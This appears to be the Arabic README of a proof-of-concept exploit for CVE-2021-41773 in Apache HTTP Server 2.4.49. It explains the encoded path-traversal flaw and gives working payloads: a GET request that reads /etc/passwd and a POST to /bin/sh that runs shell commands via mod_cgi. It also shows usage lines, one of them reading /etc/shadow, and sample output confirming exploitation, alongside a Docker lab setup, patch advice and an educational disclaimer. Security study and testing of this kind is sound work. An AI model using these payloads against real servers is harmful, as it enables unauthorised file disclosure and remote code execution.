
إثبات المفهوم لـ CVE-2021-41773
فقط للاستخدام في البيئات الخاضعة للسيطرة والخاصة بك. لا تستخدمه ضد أنظمة دون إذن.
تم تطوير PoC لعرض وفهم الثغرة الأمنية CVE-2021-41773 الموجودة في Apache HTTP Server 2.4.49.
يكمن الخلل في الدالة ap_normalize_path()، التي لم تكن تتحقق بشكل صحيح من الأحرف المشفرة في URL. كان هذا يسمح للمهاجم بالقفز خارج DocumentRoot عبر سلسلة من الأحرف المشفرة (%2e%2e%2f بدلاً من ../)، وقراءة ملفات عشوائية من النظام.
عندما كانت وحدة mod_cgi مفعّلة، كانت الثغرة ترتقي إلى RCE (Remote Code Execution)، مما يسمح بتنفيذ أوامر مباشرة على الخادم بصلاحيات عملية Apache.
يجب أن يستوفي الخادم جميع هذه الشروط ليكون عرضة للثغرة:
| الشرط | التفاصيل |
|---|---|
| إصدار Apache | بالضبط 2.4.49 |
| توجيه الوصول | Require all granted في الإعدادات |
| وحدة CGI | mod_cgi مفعّلة (لـ RCE فقط) |
كان Apache 2.4.49 يفلتر ../ التقليدية لكنه لا يفلتر نسختها المشفرة في URL. يبني المهاجم مساراً لا يكتشفه الفلتر، لكن نظام التشغيل يفسره بشكل صحيح:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f هي ترميز URL لـ ../. كان Apache يسمح بمرورها، وكان نظام التشغيل يحلها، وكانت النتيجة الوصول إلى ملفات خارج دليل الويب.
مع تفعيل mod_cgi، يُستخدم path traversal للإشارة إلى /bin/sh بدلاً من ملف. يتعامل معه Apache كسكربت CGI وينفذه. ينتقل الأمر في نص (body) طلب POST كسكربت شل مصغّر:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
يصل ناتج الأمر في استجابة HTTP.
أنظف طريقة لإعادة إنتاج الثغرة هي باستخدام Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
أو باستخدام صورة Apache 2.4.49 يدوية مع الإعدادات القابلة للاستغلال:
<Directory />
Require all granted
</Directory>
سأترك ملفات الإعدادات التي استخدمتها للاختبار.
لماذا 'urllib3' وليس 'requests'؟
تقوم requests بإعادة ترميز أحرف المسار تلقائياً قبل إرسالها.
هذا يكسر الحمولة لأن الخادم يستقبل %252e بدلاً من %2e.
تسمح urllib3 بإرسال المسار دون تعديلات.
لماذا .%2e/ وليس %2e%2e/؟
يفلتر Apache %2e%2e/ في وحدة mod_rewrite.
البديل .%2e/ مكافئ دلالياً لكنه يتجاوز الفلتر،
لأن تطبيع المسار يحدث بعد التحقق.
mod_cgi مفعّلة حتى يعمل وضع RCE.
بدونها، لا يكون ممكناً سوى path traversal.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 أو أحدث.Require all denied كقيمة افتراضية.mod_cgi إذا لم يكن ضرورياً بشكل صارم.⚠️ هذا المستودع مخصص للأغراض التعليمية فقط.
استخدام هذا الاستغلال ضد أنظمة دون إذن صريح غير قانوني.
تم اختباره حصرياً في بيئات محلية خاضعة للسيطرة.
PoC مطوّرة لأغراض تعليمية ضمن ملف أعمال الأمن الهجومي.
| الوسيط | مطلوب | الوصف |
|---|
--target | نعم | عنوان URL الأساسي للخادم (مثال: http://localhost:8080) |
--mode | نعم | traversal لقراءة الملفات، rce لتنفيذ الأوامر |
--cmd | لا | الأمر المراد تنفيذه في وضع rce (الافتراضي: id) |